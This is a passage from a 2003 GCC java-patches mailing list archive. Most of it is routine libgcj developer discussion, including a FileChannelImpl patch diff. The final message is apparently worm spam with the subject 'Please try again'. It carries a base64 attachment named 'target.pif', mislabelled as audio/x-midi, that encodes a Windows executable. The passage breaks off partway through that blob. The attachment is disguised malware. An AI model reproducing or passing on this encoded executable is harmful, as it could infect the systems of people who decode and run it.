merged. Tom From java-patches-return-6298-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:41:15 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 3078 invoked by alias); 28 Feb 2003 04:41:15 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 3066 invoked from network); 28 Feb 2003 04:41:14 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:41:14 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA06566; Thu, 27 Feb 2003 21:41:13 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id ABD754F8610; Thu, 27 Feb 2003 21:33:57 -0700 (MST) To: Ronald Landheer-Cieslak Cc: Andrew Haley , , Subject: Re: [PATCH] to java::lang::ConcreteProcess::destroy References: From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Does that mean I'm not a well-adjusted person?? Date: 27 Feb 2003 21:33:57 -0700 In-Reply-To: Message-ID: <87fzq9rpl6.fsf@fleche.redhat.com> Lines: 15 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ronald" == Ronald Landheer-Cieslak writes: Ronald> NB: should I file PRs for the other two "problems" I Ronald> encountered during compile as well (ffitest not being compiled Ronald> and the headers being "fixed" incorrectly) or is that not Ronald> necessary? I can problably whip up a patch to the header Ronald> fixing config file, and the Makefile.in file for the Ronald> ffitest-failure (shouldn't be too much of a problem). In theory ffitest should only be built during `make check'. I don't know about the header-fixing bug. I don't remember reading about that. Tom From java-patches-return-6299-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:49:22 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 7460 invoked by alias); 28 Feb 2003 04:49:21 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 7452 invoked from network); 28 Feb 2003 04:49:21 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:49:21 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA07904; Thu, 27 Feb 2003 21:49:20 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id EF6D04F8610; Thu, 27 Feb 2003 21:42:03 -0700 (MST) To: Mark Wielaard Cc: java-patches@gcc.gnu.org Subject: Re: Classpath ObjectIn/OutputStream merge References: <1046016925.3355.827.camel@elsschot> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: What I need is a MATURE RELATIONSHIP with a FLOPPY DISK... Date: 27 Feb 2003 21:42:03 -0700 In-Reply-To: <1046016925.3355.827.camel@elsschot> Message-ID: <87bs0xrp7o.fsf@fleche.redhat.com> Lines: 17 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Mark" == Mark Wielaard writes: Mark> Here is finally the remaining ObjectIn/OutputStream remerge with Mark> GNU Classpath. It is still not 100% complete but I think this is Mark> important enough to get into 3.3. Mark> OK for branch and mainline? At this point you are the active libgcj hacker with the most knowledge of the serialization code. I've barely ever looked at this stuff. I trust your judgement on this; I think you should feel free to take over serialization and not wait for approvals (if there's something potentially weird you want me to look at, that's still fine, of course). Also, if other serialization patches come in, please feel free to approve or reject them. Tom From java-patches-return-6300-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 04:54:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 12036 invoked by alias); 28 Feb 2003 04:54:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 12029 invoked from network); 28 Feb 2003 04:54:29 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by 172.16.49.205 with SMTP; 28 Feb 2003 04:54:29 -0000 Received: from fleche.redhat.com (te0194.peakpeak.com [204.144.238.194]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id VAA08714; Thu, 27 Feb 2003 21:54:28 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id B3B5B4F8610; Thu, 27 Feb 2003 21:47:12 -0700 (MST) To: Ranjit Mathew Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Preview: Escape DllMain in boehm-gc References: <09XT7TNUP9531G73GA3YMK85FBJDSM.3e58fa92@p733> <3E5918B0.8E62012D@hotmail.com> From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Alright, you!! Imitate a WOUNDED SEAL pleading for a PARKING SPACE!! Date: 27 Feb 2003 21:47:12 -0700 In-Reply-To: <3E5918B0.8E62012D@hotmail.com> Message-ID: <877kblroz3.fsf@fleche.redhat.com> Lines: 22 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii >>>>> "Ranjit" == Ranjit Mathew writes: Ranjit> :-) Well, for starters, I'm not the one to approve or Ranjit> disapprove of any of your patches - the approval for Ranjit> libgcj (as far as I've seen) comes mainly from Tom/Mark Ranjit> and that for the front-end from Andrew/Per. The situation is basically like that, though there are some twists. Some parts of libgcj also have other people who can approve things. And there are parts of the runtime that Andrew handles that I don't approve changes to (SEGV handlers for instance). Patches for the GC go through Hans (sometimes they go in our tree sooner, if they are pretty obvious). FWIW I look to you and Adam for the Windows code. I basically wouldn't touch a Win32 patch unless one of you said yes or no. There is a MAINTAINERS file that tries to document maintainerships, but it has never really been up-to-date for gcj. We could try to fix that. Tom From java-patches-return-6301-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 09:39:34 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 8834 invoked by alias); 28 Feb 2003 09:39:33 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 8817 invoked from network); 28 Feb 2003 09:39:31 -0000 Received: from unknown (HELO nescio.wildebeest.org) (62.108.28.95) by 172.16.49.205 with SMTP; 28 Feb 2003 09:39:31 -0000 Received: from elsschot.wildebeest.org ([192.168.1.26] ident=mark) by nescio.wildebeest.org with esmtp (Exim 3.35 #1 (Debian)) id 18ogym-00051x-00; Fri, 28 Feb 2003 10:38:56 +0100 Subject: Re: Classpath ObjectIn/OutputStream merge From: Mark Wielaard To: tromey@redhat.com Cc: java-patches@gcc.gnu.org In-Reply-To: <87bs0xrp7o.fsf@fleche.redhat.com> References: <1046016925.3355.827.camel@elsschot> <87bs0xrp7o.fsf@fleche.redhat.com> Content-Type: text/plain Organization: Message-Id: <1046425162.19773.25.camel@elsschot> Mime-Version: 1.0 Date: 28 Feb 2003 10:39:22 +0100 Content-Transfer-Encoding: 7bit Hi, On Fri, 2003-02-28 at 05:42, Tom Tromey wrote: > I think you should feel free to take > over serialization and not wait for approvals (if there's something > potentially weird you want me to look at, that's still fine, of > course). Thanks. I left out the Classpath changes that didn't make sense to me in the first place so I will commit it as is. > Also, if other serialization patches come in, please feel > free to approve or reject them. OK, there is an important patch pending from Jeroen Frijters that fixes an issues with shadowed private fields. It is awaiting paperwork. When that is in I will make sure that it also goes into libgcj. Cheers, Mark From java-patches-return-6302-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 12:21:05 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 1875 invoked by alias); 28 Feb 2003 12:21:05 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 1865 invoked from network); 28 Feb 2003 12:21:04 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by 172.16.49.205 with SMTP; 28 Feb 2003 12:21:04 -0000 Received: from asterix.konqueror.de (dynadsl-080-228-66-121.ewetel.net [80.228.66.121]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h1SCL1ad014418 for ; Fri, 28 Feb 2003 13:21:03 +0100 (MET) From: Michael Koch To: java-patches@gcc.gnu.org Subject: [PATCH] gnu.java.nio.FileChannelImpl - hack - comments appreciated Date: Fri, 28 Feb 2003 13:21:24 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ER1X+F3PVOznieE" Message-Id: <200302281321.26917.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ER1X+F3PVOznieE Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I made a little patch to make gnu.java.nio.FileChannelImpl more=20 working in trunk. Unfortunately it uses an IMO ugly hack: It uses native methods to access the package private methods from=20 java.io.FileDescriptor. Is this allowed ? Should it be avoided ? What=20 should be done ? Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+X1RGWSOgCCdjSDsRAgjTAKCFGFQsVq+O/i2FvmPFqTYTs51d9ACggBd4 hzly2Gv0i5a+2WTiOvADm1Q=3D =3Dje+l =2D----END PGP SIGNATURE----- --Boundary-00=_ER1X+F3PVOznieE Content-Type: text/x-diff; charset="iso-8859-15"; name="fc.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="fc.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1735 diff -u -r1.1735 ChangeLog --- ChangeLog 27 Feb 2003 10:52:39 -0000 1.1735 +++ ChangeLog 28 Feb 2003 12:15:20 -0000 @@ -1,3 +1,26 @@ +2003-02-28 Michael Koch + + * gnu/java/nio/FileChannelImpl.java + (fd): Type FileDescriptor instead of int. + (lengthInternal): Removed. + (FileChannelImpl): Fixed arguments, check type of file object. + (size): Made it native. + (implPosition): New native method. + (implTruncate): New native method. + (position): Implemented. + (truncate): Implemented. + (nio_mmap_file): Changed arguments. + (nio_munmap_file): Changed arguments. + (nio_msync): Changed arguments. + * gnu/java/nio/natFileChannelImpl.cc + (lengthInternal): Removed. + (size): New method. + (implPosition): New method. + (implTruncate): New method. + (nio_mmap_file): Changed arguments. + (nio_munmap_file): Changed arguments. + (nio_msync): Changed arguments. + 2003-02-27 Michael Koch * java/beans/Beans.java, Index: gnu/java/nio/FileChannelImpl.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/gnu/java/nio/FileChannelImpl.java,v retrieving revision 1.2 diff -u -r1.2 FileChannelImpl.java --- gnu/java/nio/FileChannelImpl.java 13 Feb 2003 15:12:36 -0000 1.2 +++ gnu/java/nio/FileChannelImpl.java 28 Feb 2003 12:15:20 -0000 @@ -38,6 +38,7 @@ package gnu.java.nio; import java.io.EOFException; +import java.io.FileDescriptor; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.IOException; @@ -64,41 +65,41 @@ { public long address; public int length; - public int fd; + public FileDescriptor fd; public MappedByteBuffer buf; public Object file_obj; // just to keep it live... - /** - * This method came from java.io.RandomAccessFile - * It is private there so we will repeat it here. - */ - private native long lengthInternal (int native_fd) throws IOException; - - public FileChannelImpl (int fd, Object obj) + public FileChannelImpl (FileDescriptor fd, boolean write, Object obj) { + if (!(obj instanceof RandomAccessFile) + && !(obj instanceof FileInputStream) + && !(obj instanceof FileOutputStream)) + throw new InternalError (); + this.fd = fd; this.file_obj = obj; } - public long size () throws IOException - { - if (!isOpen ()) - throw new ClosedChannelException (); + private native long implPosition (); + private native FileChannel implPosition (long newPosition); + private native FileChannel implTruncate (long size); + + private native long nio_mmap_file (long pos, long size, int mode); + private native void nio_unmmap_file (long address, int size); + private native void nio_msync (long address, int length); - return lengthInternal (fd); - } + public native long size () throws IOException; protected void implCloseChannel() throws IOException { + // FIXME + if (address != 0) { - nio_unmmap_file (fd, address, (int) length); + //nio_unmmap_file (fd, address, (int) length); address = 0; } - // FIXME - fd = 0; - if (file_obj instanceof RandomAccessFile) { RandomAccessFile o = (RandomAccessFile) file_obj; @@ -121,14 +122,14 @@ int s = (int)size(); if (buf == null) - { + { throw new EOFException("file not mapped"); - } + } for (int i=0; i +#include #include #include jlong -gnu::java::nio::FileChannelImpl::lengthInternal (jint fd) +gnu::java::nio::FileChannelImpl::size () { - throw new ::java::io::IOException (JvNewStringUTF ("lengthInternal not implemented")); + return fd->length (); } jlong -gnu::java::nio::FileChannelImpl::nio_mmap_file (jint, jlong, jint, jint) +gnu::java::nio::FileChannelImpl::implPosition () +{ + return fd->getFilePointer (); +} + +java::nio::channels::FileChannel* +gnu::java::nio::FileChannelImpl::implPosition (jlong newPosition) +{ + fd->seek (newPosition, ::java::io::FileDescriptor::SET, true); + return this; +} + +java::nio::channels::FileChannel* +gnu::java::nio::FileChannelImpl::implTruncate (jlong size) +{ + fd->setLength (size); + return this; +} + +jlong +gnu::java::nio::FileChannelImpl::nio_mmap_file (jlong, jlong, jint) { throw new ::java::io::IOException (JvNewStringUTF ("mmap not implemented")); } void -gnu::java::nio::FileChannelImpl::nio_unmmap_file (jint, jlong, jint) +gnu::java::nio::FileChannelImpl::nio_unmmap_file (jlong, jint) { throw new ::java::io::IOException (JvNewStringUTF ("munmap not implemented")); } void -gnu::java::nio::FileChannelImpl::nio_msync (jint, jlong, jint) +gnu::java::nio::FileChannelImpl::nio_msync (jlong, jint) { throw new ::java::io::IOException (JvNewStringUTF ("msync not implemented")); } --Boundary-00=_ER1X+F3PVOznieE-- From java-patches-return-6303-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Feb 28 17:29:40 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 19926 invoked by alias); 28 Feb 2003 17:29:39 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 19868 invoked from network); 28 Feb 2003 17:29:37 -0000 Received: from unknown (HELO relay-4m.club-internet.fr) (194.158.104.43) by 172.16.49.205 with SMTP; 28 Feb 2003 17:29:37 -0000 Received: from Oibnlg (lxxx-5-49.n.club-internet.fr [213.44.9.49]) by relay-4m.club-internet.fr (Postfix) with SMTP id 24143E238 for ; Fri, 28 Feb 2003 18:29:11 +0100 (CET) From: hjl To: java-patches@gcc.gnu.org Subject: Please try again MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=J53mO6j9B4999836zns01WATPw5S2l88Y Message-Id: <20030228172911.24143E238@relay-4m.club-internet.fr> Date: Fri, 28 Feb 2003 18:29:11 +0100 (CET) --J53mO6j9B4999836zns01WATPw5S2l88Y Content-Type: text/html; Content-Transfer-Encoding: quoted-printable --J53mO6j9B4999836zns01WATPw5S2l88Y Content-Type: audio/x-midi; name=target.pif Content-Transfer-Encoding: base64 Content-ID: TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAAAYmX3gXPgTs1z4E7Nc+BOzJ+Qfs1j4E7Pf5B2zT/gTs7Tn GbNm+BOzPucAs1X4E7Nc+BKzJfgTs7TnGLNO+BOz5P4Vs134E7NSaWNoXPgTswAAAAAAAAAA UEUAAEwBBAC4jrc8AAAAAAAAAADgAA8BCwEGAADAAAAAkAgAAAAAAFiEAAAAEAAAANAAAAAA QAAAEAAAABAAAAQAAAAAAAAABAAAAAAAAAAAYAkAABAAAAAAAAACAAAAAAAQAAAQAAAAABAA ABAAAAAAAAAQAAAAAAAAAAAAAAAg1gAAZAAAAABQCQAQAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ANAAAOwBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAEq6AAAAEAAAAMAAAAAQ AAAAAAAAAAAAAAAAAAAgAABgLnJkYXRhAAAiEAAAANAAAAAgAAAA0AAAAAAAAAAAAAAAAAAA QAAAQC5kYXRhAAAAbF4IAADwAAAAUAAAAPAAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAABAA AAAAUAkAEAAAAABAAQAAAAAAAAAAAAAAAABAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA 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 